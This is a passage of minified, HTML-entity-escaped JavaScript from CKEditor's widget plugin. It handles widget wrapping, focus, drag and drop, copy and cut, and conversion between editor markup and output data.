a.attributes)return(a=a.getFirst(g.isParserWidgetElement))&amp;&amp;b.push([a]),!1;if(&quot;data-widget&quot;in a.attributes)return b.push([a]),!1;if(m=c.length){if(a.attributes[&quot;data-cke-widget-upcasted&quot;])return!1;k=0;for(f=d.length;k&lt;f;++k)if(!1===d[k](a))return;for(k=0;k&lt;m;++k)if(f=c[k],l={},h=f[0](a,l))return h instanceof CKEDITOR.htmlParser.element&amp;&amp;(a=h),a.attributes[&quot;data-cke-widget-data&quot;]=encodeURIComponent(JSON.stringify(l)),a.attributes[&quot;data-cke-widget-upcasted&quot;]=1,b.push([a,f[1]]),!1}}}}function y(a,b){return{tabindex:-1,
contenteditable:&quot;false&quot;,&quot;data-cke-widget-wrapper&quot;:1,&quot;data-cke-filter&quot;:&quot;off&quot;,&quot;class&quot;:&quot;cke_widget_wrapper cke_widget_new cke_widget_&quot;+(a?&quot;inline&quot;:&quot;block&quot;)+(b?&quot; cke_widget_&quot;+b:&quot;&quot;)}}function z(a,b,c){if(a.type==CKEDITOR.NODE_ELEMENT){var d=CKEDITOR.dtd[a.name];if(d&amp;&amp;!d[c.name]){var d=a.split(b),e=a.parent;b=d.getIndex();a.children.length||(--b,a.remove());d.children.length||d.remove();return z(e,b,c)}}a.add(c,b)}function A(a,b){return&quot;boolean&quot;==typeof a.inline?a.inline:!!CKEDITOR.dtd.$inline[b]}function T(a){return a.hasAttribute(&quot;data-cke-temp&quot;)}
function n(a,b,c,d){var e=a.editor;e.fire(&quot;lockSnapshot&quot;);c?(d=c.data(&quot;cke-widget-editable&quot;),d=b.editables[d],a.widgetHoldingFocusedEditable=b,b.focusedEditable=d,c.addClass(&quot;cke_widget_editable_focused&quot;),d.filter&amp;&amp;e.setActiveFilter(d.filter),e.setActiveEnterMode(d.enterMode,d.shiftEnterMode)):(d||b.focusedEditable.removeClass(&quot;cke_widget_editable_focused&quot;),b.focusedEditable=null,a.widgetHoldingFocusedEditable=null,e.setActiveFilter(null),e.setActiveEnterMode(null,null));e.fire(&quot;unlockSnapshot&quot;)}
function V(a){a.contextMenu&amp;&amp;a.contextMenu.addListener(function(b){if(b=a.widgets.getByElement(b,!0))return b.fire(&quot;contextMenu&quot;,{})})}function W(a,b){return CKEDITOR.tools.trim(b)}function O(a){var b=a.editor,c=CKEDITOR.plugins.lineutils;b.on(&quot;dragstart&quot;,function(d){var c=d.data.target;g.isDomDragHandler(c)&amp;&amp;(c=a.getByElement(c),d.data.dataTransfer.setData(&quot;cke/widget-id&quot;,c.id),b.focus(),c.focus())});b.on(&quot;drop&quot;,function(c){var e=c.data.dataTransfer,f=e.getData(&quot;cke/widget-id&quot;),h=e.getTransferType(b),
e=b.createRange();&quot;&quot;!==f&amp;&amp;h===CKEDITOR.DATA_TRANSFER_CROSS_EDITORS?c.cancel():&quot;&quot;!==f&amp;&amp;h==CKEDITOR.DATA_TRANSFER_INTERNAL&amp;&amp;(f=a.instances[f])&amp;&amp;(e.setStartBefore(f.wrapper),e.setEndAfter(f.wrapper),c.data.dragRange=e,delete CKEDITOR.plugins.clipboard.dragStartContainerChildCount,delete CKEDITOR.plugins.clipboard.dragEndContainerChildCount,c.data.dataTransfer.setData(&quot;text/html&quot;,b.editable().getHtmlFromRange(e).getHtml()),b.widgets.destroy(f,!0))});b.on(&quot;contentDom&quot;,function(){var d=b.editable();CKEDITOR.tools.extend(a,
{finder:new c.finder(b,{lookups:{&quot;default&quot;:function(b){if(!b.is(CKEDITOR.dtd.$listItem)&amp;&amp;b.is(CKEDITOR.dtd.$block)&amp;&amp;!g.isDomNestedEditable(b)&amp;&amp;!a._.draggedWidget.wrapper.contains(b)){var c=g.getNestedEditable(d,b);if(c){b=a._.draggedWidget;if(a.getByElement(c)==b)return;c=CKEDITOR.filter.instances[c.data(&quot;cke-filter&quot;)];b=b.requiredContent;if(c&amp;&amp;b&amp;&amp;!c.check(b))return}return CKEDITOR.LINEUTILS_BEFORE|CKEDITOR.LINEUTILS_AFTER}}}}),locator:new c.locator(b),liner:new c.liner(b,{lineStyle:{cursor:&quot;move !important&quot;,
&quot;border-top-color&quot;:&quot;#666&quot;},tipLeftStyle:{&quot;border-left-color&quot;:&quot;#666&quot;},tipRightStyle:{&quot;border-right-color&quot;:&quot;#666&quot;}})},!0)})}function M(a){var b=a.editor;b.on(&quot;contentDom&quot;,function(){var c=b.editable(),d=c.isInline()?c:b.document,e,f;c.attachListener(d,&quot;mousedown&quot;,function(c){var d=c.data.getTarget();e=d instanceof CKEDITOR.dom.element?a.getByElement(d):null;f=0;e&amp;&amp;(e.inline&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.hasAttribute(&quot;data-cke-widget-drag-handler&quot;)?(f=1,a.focused!=e&amp;&amp;b.getSelection().removeAllRanges()):
g.getNestedEditable(e.wrapper,d)?e=null:(c.data.preventDefault(),CKEDITOR.env.ie||e.focus()))});c.attachListener(d,&quot;mouseup&quot;,function(){f&amp;&amp;e&amp;&amp;e.wrapper&amp;&amp;(f=0,e.focus())});CKEDITOR.env.ie&amp;&amp;c.attachListener(d,&quot;mouseup&quot;,function(){setTimeout(function(){e&amp;&amp;e.wrapper&amp;&amp;c.contains(e.wrapper)&amp;&amp;(e.focus(),e=null)})})});b.on(&quot;doubleclick&quot;,function(b){var d=a.getByElement(b.data.element);if(d&amp;&amp;!g.getNestedEditable(d.wrapper,b.data.element))return d.fire(&quot;doubleclick&quot;,{element:b.data.element})},null,null,1)}
function N(a){a.editor.on(&quot;key&quot;,function(b){var c=a.focused,d=a.widgetHoldingFocusedEditable,e;c?e=c.fire(&quot;key&quot;,{keyCode:b.data.keyCode}):d&amp;&amp;(c=b.data.keyCode,b=d.focusedEditable,c==CKEDITOR.CTRL+65?(c=b.getBogus(),d=d.editor.createRange(),d.selectNodeContents(b),c&amp;&amp;d.setEndAt(c,CKEDITOR.POSITION_BEFORE_START),d.select(),e=!1):8==c||46==c?(e=d.editor.getSelection().getRanges(),d=e[0],e=!(1==e.length&amp;&amp;d.collapsed&amp;&amp;d.checkBoundaryOfElement(b,CKEDITOR[8==c?&quot;START&quot;:&quot;END&quot;]))):e=void 0);return e},null,
null,1)}function P(a){function b(b){a.focused&amp;&amp;B(a.focused,&quot;cut&quot;==b.name)}var c=a.editor;c.on(&quot;contentDom&quot;,function(){var a=c.editable();a.attachListener(a,&quot;copy&quot;,b);a.attachListener(a,&quot;cut&quot;,b)})}function L(a){var b=a.editor;b.on(&quot;selectionCheck&quot;,function(){a.fire(&quot;checkSelection&quot;)});a.on(&quot;checkSelection&quot;,a.checkSelection,a);b.on(&quot;selectionChange&quot;,function(c){var d=(c=g.getNestedEditable(b.editable(),c.data.selection.getStartElement()))&amp;&amp;a.getByElement(c),e=a.widgetHoldingFocusedEditable;e?e===d&amp;&amp;
e.focusedEditable.equals(c)||(n(a,e,null),d&amp;&amp;c&amp;&amp;n(a,d,c)):d&amp;&amp;c&amp;&amp;n(a,d,c)});b.on(&quot;dataReady&quot;,function(){C(a).commit()});b.on(&quot;blur&quot;,function(){var b;(b=a.focused)&amp;&amp;t(a,b);(b=a.widgetHoldingFocusedEditable)&amp;&amp;n(a,b,null)})}function J(a){var b=a.editor,c={};b.on(&quot;toDataFormat&quot;,function(b){var e=CKEDITOR.tools.getNextNumber(),f=[];b.data.downcastingSessionId=e;c[e]=f;b.data.dataValue.forEach(function(b){var c=b.attributes,d;if(&quot;data-cke-widget-white-space&quot;in c){d=v(b);var e=w(b);d.parent.attributes[&quot;data-cke-white-space-first&quot;]&amp;&amp;
(d.value=d.value.replace(/^&amp;nbsp;/g,&quot; &quot;));e.parent.attributes[&quot;data-cke-white-space-last&quot;]&amp;&amp;(e.value=e.value.replace(/&amp;nbsp;$/g,&quot; &quot;))}if(&quot;data-cke-widget-id&quot;in c){if(c=a.instances[c[&quot;data-cke-widget-id&quot;]])d=b.getFirst(g.isParserWidgetElement),f.push({wrapper:b,element:d,widget:c,editables:{}}),&quot;1&quot;!=d.attributes[&quot;data-cke-widget-keep-attr&quot;]&amp;&amp;delete d.attributes[&quot;data-widget&quot;]}else if(&quot;data-cke-widget-editable&quot;in c)return f[f.length-1].editables[c[&quot;data-cke-widget-editable&quot;]]=b,!1},CKEDITOR.NODE_ELEMENT,
!0)},null,null,8);b.on(&quot;toDataFormat&quot;,function(a){if(a.data.downcastingSessionId){a=c[a.data.downcastingSessionId];for(var b,f,h,l,g,m;b=a.shift();){f=b.widget;h=b.element;l=f._.downcastFn&amp;&amp;f._.downcastFn.call(f,h);for(m in b.editables)g=b.editables[m],delete g.attributes.contenteditable,g.setHtml(f.editables[m].getData());l||(l=h);b.wrapper.replaceWith(l)}}},null,null,13);b.on(&quot;contentDomUnload&quot;,function(){a.destroyAll(!0)})}function I(a){var b=a.editor,c,d;b.on(&quot;toHtml&quot;,function(b){var d=U(a),h;
for(b.data.dataValue.forEach(d.iterator,CKEDITOR.NODE_ELEMENT,!0);h=d.toBeWrapped.pop();){var l=h[0],k=l.parent;k.type==CKEDITOR.NODE_ELEMENT&amp;&amp;k.attributes[&quot;data-cke-widget-wrapper&quot;]&amp;&amp;k.replaceWith(l);a.wrapElement(h[0],h[1])}c=b.data.protectedWhitespaces?3==b.data.dataValue.children.length&amp;&amp;g.isParserWidgetWrapper(b.data.dataValue.children[1]):1==b.data.dataValue.children.length&amp;&amp;g.isParserWidgetWrapper(b.data.dataValue.children[0])},null,null,8);b.on(&quot;dataReady&quot;,function(){if(d)for(var c=b.editable().find(&quot;.cke_widget_wrapper&quot;),
f,h,l=0,k=c.count();l&lt;k;++l)f=c.getItem(l),h=f.getFirst(g.isDomWidgetElement),h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;h.data(&quot;widget&quot;)?(h.replace(f),a.wrapElement(h)):f.remove();d=0;a.destroyAll(!0);a.initOnAll()});b.on(&quot;loadSnapshot&quot;,function(b){/data-cke-widget/.test(b.data)&amp;&amp;(d=1);a.destroyAll(!0)},null,null,9);b.on(&quot;paste&quot;,function(a){a=a.data;a.dataValue=a.dataValue.replace(X,W);a.range&amp;&amp;(a=g.getNestedEditable(b.editable(),a.range.startContainer))&amp;&amp;(a=CKEDITOR.filter.instances[a.data(&quot;cke-filter&quot;)])&amp;&amp;
b.setActiveFilter(a)});b.on(&quot;afterInsertHtml&quot;,function(d){d.data.intoRange?a.checkWidgets({initOnlyNew:!0}):(b.fire(&quot;lockSnapshot&quot;),a.checkWidgets({initOnlyNew:!0,focusInited:c}),b.fire(&quot;unlockSnapshot&quot;))})}function C(a){var b=a.selected,c=[],d=b.slice(0),e=null;return{select:function(a){0&gt;CKEDITOR.tools.indexOf(b,a)&amp;&amp;c.push(a);a=CKEDITOR.tools.indexOf(d,a);0&lt;=a&amp;&amp;d.splice(a,1);return this},focus:function(a){e=a;return this},commit:function(){var f=a.focused!==e,h,g;a.editor.fire(&quot;lockSnapshot&quot;);for(f&amp;&amp;
(h=a.focused)&amp;&amp;t(a,h);h=d.pop();)b.splice(CKEDITOR.tools.indexOf(b,h),1),h.isInited()&amp;&amp;(g=h.editor.checkDirty(),h.setSelected(!1),!g&amp;&amp;h.editor.resetDirty());f&amp;&amp;e&amp;&amp;(g=a.editor.checkDirty(),a.focused=e,a.fire(&quot;widgetFocused&quot;,{widget:e}),e.setFocused(!0),!g&amp;&amp;a.editor.resetDirty());for(;h=c.pop();)b.push(h),h.setSelected(!0);a.editor.fire(&quot;unlockSnapshot&quot;)}}}function D(a,b,c){var d=0;b=E(b);var e=a.data.classes||{},f;if(b){for(e=CKEDITOR.tools.clone(e);f=b.pop();)c?e[f]||(d=e[f]=1):e[f]&amp;&amp;(delete e[f],
d=1);d&amp;&amp;a.setData(&quot;classes&quot;,e)}}function F(a){a.cancel()}function B(a,b){var c=a.editor,d=c.document,e=CKEDITOR.env.edge&amp;&amp;16&lt;=CKEDITOR.env.version;if(!d.getById(&quot;cke_copybin&quot;)){var f=!c.blockless&amp;&amp;!CKEDITOR.env.ie||e?&quot;div&quot;:&quot;span&quot;,e=d.createElement(f),h=d.createElement(f),f=CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version;h.setAttributes({id:&quot;cke_copybin&quot;,&quot;data-cke-temp&quot;:&quot;1&quot;});e.setStyles({position:&quot;absolute&quot;,width:&quot;1px&quot;,height:&quot;1px&quot;,overflow:&quot;hidden&quot;});e.setStyle(&quot;ltr&quot;==c.config.contentsLangDirection?&quot;left&quot;:
&quot;right&quot;,&quot;-5000px&quot;);var g=c.createRange();g.setStartBefore(a.wrapper);g.setEndAfter(a.wrapper);e.setHtml(&#039;\x3cspan data-cke-copybin-start\x3d&quot;1&quot;\x3e​\x3c/span\x3e&#039;+c.editable().getHtmlFromRange(g).getHtml()+&#039;\x3cspan data-cke-copybin-end\x3d&quot;1&quot;\x3e​\x3c/span\x3e&#039;);c.fire(&quot;saveSnapshot&quot;);c.fire(&quot;lockSnapshot&quot;);h.append(e);c.editable().append(h);var k=c.on(&quot;selectionChange&quot;,F,null,null,0),m=a.repository.on(&quot;checkSelection&quot;,F,null,null,0);if(f)var n=d.getDocumentElement().$,p=n.scrollTop;g=c.createRange();
g.selectNodeContents(e);g.select();f&amp;&amp;(n.scrollTop=p);setTimeout(function(){b||a.focus();h.remove();k.removeListener();m.removeListener();c.fire(&quot;unlockSnapshot&quot;);b&amp;&amp;!c.readOnly&amp;&amp;(a.repository.del(a),c.fire(&quot;saveSnapshot&quot;))},100)}}function E(a){return(a=(a=a.getDefinition().attributes)&amp;&amp;a[&quot;class&quot;])?a.split(/\s+/):null}function G(){var a=CKEDITOR.document.getActive(),b=this.editor,c=b.editable();(c.isInline()?c:b.document.getWindow().getFrame()).equals(a)&amp;&amp;b.focusManager.focus(c)}function H(){CKEDITOR.env.gecko&amp;&amp;
this.editor.unlockSelection();CKEDITOR.env.webkit||(this.editor.forceNextSelectionCheck(),this.editor.selectionChange(1))}function Y(a){var b=null;a.on(&quot;data&quot;,function(){var a=this.data.classes,d;if(b!=a){for(d in b)a&amp;&amp;a[d]||this.removeClass(d);for(d in a)this.addClass(d);b=a}})}function Z(a){a.on(&quot;data&quot;,function(){if(a.wrapper){var b=this.getLabel?this.getLabel():this.editor.lang.widget.label.replace(/%1/,this.pathName||this.element.getName());a.wrapper.setAttribute(&quot;role&quot;,&quot;region&quot;);a.wrapper.setAttribute(&quot;aria-label&quot;,
b)}},null,null,9999)}function aa(a){if(a.draggable){var b=a.editor,c=a.wrapper.getLast(g.isDomDragHandlerContainer),d;c?d=c.findOne(&quot;img&quot;):(c=new CKEDITOR.dom.element(&quot;span&quot;,b.document),c.setAttributes({&quot;class&quot;:&quot;cke_reset cke_widget_drag_handler_container&quot;,style:&quot;background:rgba(220,220,220,0.5);background-image:url(&quot;+b.plugins.widget.path+&quot;images/handle.png)&quot;}),d=new CKEDITOR.dom.element(&quot;img&quot;,b.document),d.setAttributes({&quot;class&quot;:&quot;cke_reset cke_widget_drag_handler&quot;,&quot;data-cke-widget-drag-handler&quot;:&quot;1&quot;,
src:CKEDITOR.tools.transparentImageData,width:15,title:b.lang.widget.move,height:15,role:&quot;presentation&quot;}),a.inline&amp;&amp;d.setAttribute(&quot;draggable&quot;,&quot;true&quot;),c.append(d),a.wrapper.append(c));a.wrapper.on(&quot;dragover&quot;,function(a){a.data.preventDefault()});a.wrapper.on(&quot;mouseenter&quot;,a.updateDragHandlerPosition,a);setTimeout(function(){a.on(&quot;data&quot;,a.updateDragHandlerPosition,a)},50);if(!a.inline&amp;&amp;(d.on(&quot;mousedown&quot;,ba,a),CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version))d.on(&quot;dragstart&quot;,function(a){a.data.preventDefault(!0)});
a.dragHandlerContainer=c}}function ba(a){function b(){var b;for(q.reset();b=g.pop();)b.removeListener();var c=k;b=a.sender;var d=this.repository.finder,e=this.repository.liner,f=this.editor,h=this.editor.editable();CKEDITOR.tools.isEmpty(e.visible)||(c=d.getRange(c[0]),this.focus(),f.fire(&quot;drop&quot;,{dropRange:c,target:c.startContainer}));h.removeClass(&quot;cke_widget_dragging&quot;);e.hideVisible();f.fire(&quot;dragend&quot;,{target:b})}if(CKEDITOR.tools.getMouseButton(a)===CKEDITOR.MOUSE_BUTTON_LEFT){var c=this.repository.finder,
d=this.repository.locator,e=this.repository.liner,f=this.editor,h=f.editable(),g=[],k=[],m,n;this.repository._.draggedWidget=this;var p=c.greedySearch(),q=CKEDITOR.tools.eventsBuffer(50,function(){m=d.locate(p);k=d.sort(n,1);k.length&amp;&amp;(e.prepare(p,m),e.placeLine(k[0]),e.cleanup())});h.addClass(&quot;cke_widget_dragging&quot;);g.push(h.on(&quot;mousemove&quot;,function(a){n=a.data.$.clientY;q.input()}));f.fire(&quot;dragstart&quot;,{target:a.sender});g.push(f.document.once(&quot;mouseup&quot;,b,this));h.isInline()||g.push(CKEDITOR.document.once(&quot;mouseup&quot;,
b,this))}}function ca(a){var b,c,d=a.editables;a.editables={};if(a.editables)for(b in d)c=d[b],a.initEditable(b,&quot;string&quot;==typeof c?{selector:c}:c)}function da(a){if(a.mask){var b=a.wrapper.findOne(&quot;.cke_widget_mask&quot;);b||(b=new CKEDITOR.dom.element(&quot;img&quot;,a.editor.document),b.setAttributes({src:CKEDITOR.tools.transparentImageData,&quot;class&quot;:&quot;cke_reset cke_widget_mask&quot;}),a.wrapper.append(b));a.mask=b}}function ea(a){if(a.parts){var b={},c,d;for(d in a.parts)c=a.wrapper.findOne(a.parts[d]),b[d]=c;a.parts=
b}}function Q(a,b){fa(a);ea(a);ca(a);da(a);aa(a);Y(a);Z(a);if(CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version)a.wrapper.on(&quot;dragstart&quot;,function(b){var d=b.data.getTarget();g.getNestedEditable(a,d)||a.inline&amp;&amp;g.isDomDragHandler(d)||b.data.preventDefault()});a.wrapper.removeClass(&quot;cke_widget_new&quot;);a.element.addClass(&quot;cke_widget_element&quot;);a.on(&quot;key&quot;,function(b){b=b.data.keyCode;if(13==b)a.edit();else{if(b==CKEDITOR.CTRL+67||b==CKEDITOR.CTRL+88){B(a,b==CKEDITOR.CTRL+88);return}if(b in ga||CKEDITOR.CTRL&amp;b||CKEDITOR.ALT&amp;
b)return}return!1},null,null,999);a.on(&quot;doubleclick&quot;,function(b){a.edit()&amp;&amp;b.cancel()});if(b.data)a.on(&quot;data&quot;,b.data);if(b.edit)a.on(&quot;edit&quot;,b.edit)}function fa(a){(a.wrapper=a.element.getParent()).setAttribute(&quot;data-cke-widget-id&quot;,a.id)}function r(a){a.element.data(&quot;cke-widget-data&quot;,encodeURIComponent(JSON.stringify(a.data)))}function ha(){function a(){}function b(a,b,c){return c&amp;&amp;this.checkElement(a)?(a=c.widgets.getByElement(a,!0))&amp;&amp;a.checkStyleActive(this):!1}var c={};CKEDITOR.style.addCustomHandler({type:&quot;widget&quot;,
setup:function(a){this.widget=a.widget;if(this.group=&quot;string&quot;==typeof a.group?[a.group]:a.group){a=this.widget;var b;c[a]||(c[a]={});for(var f=0,h=this.group.length;f&lt;h;f++)b=this.group[f],c[a][b]||(c[a][b]=[]),c[a][b].push(this)}},apply:function(a){var b;a instanceof CKEDITOR.editor&amp;&amp;this.checkApplicable(a.elementPath(),a)&amp;&amp;(b=a.widgets.focused,this.group&amp;&amp;this.removeStylesFromSameGroup(a),b.applyStyle(this))},remove:function(a){a instanceof CKEDITOR.editor&amp;&amp;this.checkApplicable(a.elementPath(),
a)&amp;&amp;a.widgets.focused.removeStyle(this)},removeStylesFromSameGroup:function(a){var b,f,h=!1;if(!(a instanceof CKEDITOR.editor))return!1;f=a.elementPath();if(this.checkApplicable(f,a))for(var g=0,k=this.group.length;g&lt;k;g++){b=c[this.widget][this.group[g]];for(var m=0;m&lt;b.length;m++)b[m]!==this&amp;&amp;b[m].checkActive(f,a)&amp;&amp;(a.widgets.focused.removeStyle(b[m]),h=!0)}return h},checkActive:function(a,b){return this.checkElementMatch(a.lastElement,0,b)},checkApplicable:function(a,b){return b instanceof CKEDITOR.editor?
this.checkElement(a.lastElement):!1},checkElementMatch:b,checkElementRemovable:b,checkElement:function(a){return g.isDomWidgetWrapper(a)?(a=a.getFirst(g.isDomWidgetElement))&amp;&amp;a.data(&quot;widget&quot;)==this.widget:!1},buildPreview:function(a){return a||this._.definition.name},toAllowedContentRules:function(a){if(!a)return null;a=a.widgets.registered[this.widget];var b,c={};if(!a)return null;if(a.styleableElements){b=this.getClassesArray();if(!b)return null;c[a.styleableElements]={classes:b,propertiesOnly:!0};
return c}return a.styleToAllowedContentRules?a.styleToAllowedContentRules(this):null},getClassesArray:function(){var a=this._.definition.attributes&amp;&amp;this._.definition.attributes[&quot;class&quot;];return a?CKEDITOR.tools.trim(a).split(/\s+/):null},applyToRange:a,removeFromRange:a,applyToObject:a})}CKEDITOR.plugins.add(&quot;widget&quot;,{requires:&quot;lineutils,clipboard,widgetselection&quot;,onLoad:function(){void 0!==CKEDITOR.document.$.querySelectorAll&amp;&amp;(CKEDITOR.addCss(&quot;.cke_widget_wrapper{position:relative;outline:none}.cke_widget_inline{display:inline-block}.cke_widget_wrapper:hover\x3e.cke_widget_element{outline:2px solid #ffd25c;cursor:default}.cke_widget_wrapper:hover .cke_widget_editable{outline:2px solid #ffd25c}.cke_widget_wrapper.cke_widget_focused\x3e.cke_widget_element,.cke_widget_wrapper .cke_widget_editable.cke_widget_editable_focused{outline:2px solid #47a4f5}.cke_widget_editable{cursor:text}.cke_widget_drag_handler_container{position:absolute;width:15px;height:0;display:none;opacity:0.75;transition:height 0s 0.2s;line-height:0}.cke_widget_wrapper:hover\x3e.cke_widget_drag_handler_container{height:15px;transition:none}.cke_widget_drag_handler_container:hover{opacity:1}img.cke_widget_drag_handler{cursor:move;width:15px;height:15px;display:inline-block}.cke_widget_mask{position:absolute;top:0;left:0;width:100%;height:100%;display:block}.cke_editable.cke_widget_dragging, .cke_editable.cke_widget_dragging *{cursor:move !important}&quot;),
ha())},beforeInit:function(a){void 0!==CKEDITOR.document.$.querySelectorAll&amp;&amp;(a.widgets=new p(a))},afterInit:function(a){if(void 0!==CKEDITOR.document.$.querySelectorAll){var b=a.widgets.registered,c,d,e;for(d in b)c=b[d],(e=c.button)&amp;&amp;a.ui.addButton&amp;&amp;a.ui.addButton(CKEDITOR.tools.capitalize(c.name,!0),{label:e,command:c.name,toolbar:&quot;insert,10&quot;});V(a)}}});p.prototype={MIN_SELECTION_CHECK_INTERVAL:500,add:function(a,b){b=CKEDITOR.tools.prototypedCopy(b);b.name=a;b._=b._||{};this.editor.fire(&quot;widgetDefinition&quot;,
b);b.template&amp;&amp;(b.template=new CKEDITOR.template(b.template));R(this.editor,b);S(this,b);return this.registered[a]=b},addUpcastCallback:function(a){this._.upcastCallbacks.push(a)},checkSelection:function(){var a=this.editor.getSelection(),b=a.getSelectedElement(),c=C(this),d;if(b&amp;&amp;(d=this.getByElement(b,!0)))return c.focus(d).select(d).commit();a=a.getRanges()[0];if(!a||a.collapsed)return c.commit();a=new CKEDITOR.dom.walker(a);for(a.evaluator=g.isDomWidgetWrapper;b=a.next();)c.select(this.getByElement(b));
c.commit()},checkWidgets:function(a){this.fire(&quot;checkWidgets&quot;,CKEDITOR.tools.copy(a||{}))},del:function(a){if(this.focused===a){var b=a.editor,c=b.createRange(),d;(d=c.moveToClosestEditablePosition(a.wrapper,!0))||(d=c.moveToClosestEditablePosition(a.wrapper,!1));d&amp;&amp;b.getSelection().selectRanges([c])}a.wrapper.remove();this.destroy(a,!0)},destroy:function(a,b){this.widgetHoldingFocusedEditable===a&amp;&amp;n(this,a,null,b);a.destroy(b);delete this.instances[a.id];this.fire(&quot;instanceDestroyed&quot;,a)},destroyAll:function(a,
b){var c,d,e=this.instances;if(b&amp;&amp;!a){d=b.find(&quot;.cke_widget_wrapper&quot;);for(var e=d.count(),f=0;f&lt;e;++f)(c=this.getByElement(d.getItem(f),!0))&amp;&amp;this.destroy(c)}else for(d in e)c=e[d],this.destroy(c,a)},finalizeCreation:function(a){(a=a.getFirst())&amp;&amp;g.isDomWidgetWrapper(a)&amp;&amp;(this.editor.insertElement(a),a=this.getByElement(a),a.ready=!0,a.fire(&quot;ready&quot;),a.focus())},getByElement:function(){function a(a){return a.is(b)&amp;&amp;a.data(&quot;cke-widget-id&quot;)}var b={div:1,span:1};return function(b,d){if(!b)return null;
var e=a(b);if(!d&amp;&amp;!e){var f=this.editor.editable();do b=b.getParent();while(b&amp;&amp;!b.equals(f)&amp;&amp;!(e=a(b)))}return this.instances[e]||null}}(),initOn:function(a,b,c){b?&quot;string&quot;==typeof b&amp;&amp;(b=this.registered[b]):b=this.registered[a.data(&quot;widget&quot;)];if(!b)return null;var d=this.wrapElement(a,b.name);return d?d.hasClass(&quot;cke_widget_new&quot;)?(a=new g(this,this._.nextId++,a,b,c),a.isInited()?this.instances[a.id]=a:null):this.getByElement(a):null},initOnAll:function(a){a=(a||this.editor.editable()).find(&quot;.cke_widget_new&quot;);
for(var b=[],c,d=a.count();d--;)(c=this.initOn(a.getItem(d).getFirst(g.isDomWidgetElement)))&amp;&amp;b.push(c);return b},onWidget:function(a){var b=Array.prototype.slice.call(arguments);b.shift();for(var c in this.instances){var d=this.instances[c];d.name==a&amp;&amp;d.on.apply(d,b)}this.on(&quot;instanceCreated&quot;,function(c){c=c.data;c.name==a&amp;&amp;c.on.apply(c,b)})},parseElementClasses:function(a){if(!a)return null;a=CKEDITOR.tools.trim(a).split(/\s+/);for(var b,c={},d=0;b=a.pop();)-1==b.indexOf(&quot;cke_&quot;)&amp;&amp;(c[b]=d=1);return d?
c:null},wrapElement:function(a,b){var c=null,d,e;if(a instanceof CKEDITOR.dom.element){b=b||a.data(&quot;widget&quot;);d=this.registered[b];if(!d)return null;if((c=a.getParent())&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.data(&quot;cke-widget-wrapper&quot;))return c;a.hasAttribute(&quot;data-cke-widget-keep-attr&quot;)||a.data(&quot;cke-widget-keep-attr&quot;,a.data(&quot;widget&quot;)?1:0);a.data(&quot;widget&quot;,b);(e=A(d,a.getName()))&amp;&amp;u(a);c=new CKEDITOR.dom.element(e?&quot;span&quot;:&quot;div&quot;);c.setAttributes(y(e,b));c.data(&quot;cke-display-name&quot;,d.pathName?d.pathName:a.getName());
a.getParent(!0)&amp;&amp;c.replace(a);a.appendTo(c)}else if(a instanceof CKEDITOR.htmlParser.element){b=b||a.attributes[&quot;data-widget&quot;];d=this.registered[b];if(!d)return null;if((c=a.parent)&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.attributes[&quot;data-cke-widget-wrapper&quot;])return c;&quot;data-cke-widget-keep-attr&quot;in a.attributes||(a.attributes[&quot;data-cke-widget-keep-attr&quot;]=a.attributes[&quot;data-widget&quot;]?1:0);b&amp;&amp;(a.attributes[&quot;data-widget&quot;]=b);(e=A(d,a.name))&amp;&amp;u(a);c=new CKEDITOR.htmlParser.element(e?&quot;span&quot;:&quot;div&quot;,y(e,b));c.attributes[&quot;data-cke-display-name&quot;]=
d.pathName?d.pathName:a.name;d=a.parent;var f;d&amp;&amp;(f=a.getIndex(),a.remove());c.add(a);d&amp;&amp;z(d,f,c)}return c},_tests_createEditableFilter:x};CKEDITOR.event.implementOn(p.prototype);g.prototype={addClass:function(a){this.element.addClass(a);this.wrapper.addClass(g.WRAPPER_CLASS_PREFIX+a)},applyStyle:function(a){D(this,a,1)},checkStyleActive:function(a){a=E(a);var b;if(!a)return!1;for(;b=a.pop();)if(!this.hasClass(b))return!1;return!0},destroy:function(a){this.fire(&quot;destroy&quot;);if(this.editables)for(var b in this.editables)this.destroyEditable(b,
a);a||(&quot;0&quot;==this.element.data(&quot;cke-widget-keep-attr&quot;)&amp;&amp;this.element.removeAttribute(&quot;data-widget&quot;),this.element.removeAttributes([&quot;data-cke-widget-data&quot;,&quot;data-cke-widget-keep-attr&quot;]),this.element.removeClass(&quot;cke_widget_element&quot;),this.element.replace(this.wrapper));this.wrapper=null},destroyEditable:function(a,b){var c=this.editables[a],d=!0;c.removeListener(&quot;focus&quot;,H);c.removeListener(&quot;blur&quot;,G);this.editor.focusManager.remove(c);if(c.filter){for(var e in this.repository.instances){var f=this.repository.instances[e];
f.editables&amp;&amp;(f=f.editables[a])&amp;&amp;f!==c&amp;&amp;c.filter===f.filter&amp;&amp;(d=!1)}d&amp;&amp;(c.filter.destroy(),(d=this.repository._.filters[this.name])&amp;&amp;delete d[a])}b||(this.repository.destroyAll(!1,c),c.removeClass(&quot;cke_widget_editable&quot;),c.removeClass(&quot;cke_widget_editable_focused&quot;),c.removeAttributes([&quot;contenteditable&quot;,&quot;data-cke-widget-editable&quot;,&quot;data-cke-enter-mode&quot;]));delete this.editables[a]},edit:function(){var a={dialog:this.dialog},b=this;if(!1===this.fire(&quot;edit&quot;,a)||!a.dialog)return!1;this.editor.openDialog(a.dialog,
function(a){var d,e;!1!==b.fire(&quot;dialog&quot;,a)&amp;&amp;(d=a.on(&quot;show&quot;,function(){a.setupContent(b)}),e=a.on(&quot;ok&quot;,function(){var d,e=b.on(&quot;data&quot;,function(a){d=1;a.cancel()},null,null,0);b.editor.fire(&quot;saveSnapshot&quot;);a.commitContent(b);e.removeListener();d&amp;&amp;(b.fire(&quot;data&quot;,b.data),b.editor.fire(&quot;saveSnapshot&quot;))}),a.once(&quot;hide&quot;,function(){d.removeListener();e.removeListener()}))});return!0},getClasses:function(){return this.repository.parseElementClasses(this.element.getAttribute(&quot;class&quot;))},hasClass:function(a){return this.element.hasClass(a)},
